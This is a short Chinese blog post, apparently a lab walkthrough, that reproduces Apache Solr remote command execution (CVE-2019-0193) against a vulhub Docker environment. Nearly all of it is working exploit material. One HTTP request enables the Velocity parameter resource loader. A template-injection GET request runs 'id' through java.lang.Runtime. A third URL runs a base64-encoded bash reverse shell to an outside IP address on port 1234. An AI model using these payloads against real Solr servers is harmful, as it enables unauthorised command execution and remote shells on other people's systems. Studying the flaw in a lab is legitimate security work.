zoukankan      html  css  js  c++  java
  • Apache Solr远程命令执行复现

    环境

    /vulhub/solr/CVE-2019-0193/

    创建一个集合

    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

    正戏

    开启params.resource.loader.enabled

    POST /solr/创建的集合/config HTTP/1.1
    Host: solr:8983
    Content-Type: application/json
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    命令执行

    GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    Host: localhost:8983
    

    反弹shell

    http://192.168.250.137:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

  • 相关阅读:
    六、Doris数据流与控制流
    五、Doris数据分布
    非洛达芯片检测聚合教程NOT AIROHA CHIP
    慧联A8最新检测使用教程V2.0.3
    SpringBoot集成thymeleaf增删改查示例
    记一次Linux磁盘满盘/dev/vda1目录清理记录
    悦虎固件升级到底有啥用?二代为例
    PerfDog性能狗简介
    macOS常用命令
    像素格式与纹理压缩
  • 原文地址:https://www.cnblogs.com/mrhonest/p/11770934.html
Copyright © 2011-2022 走看看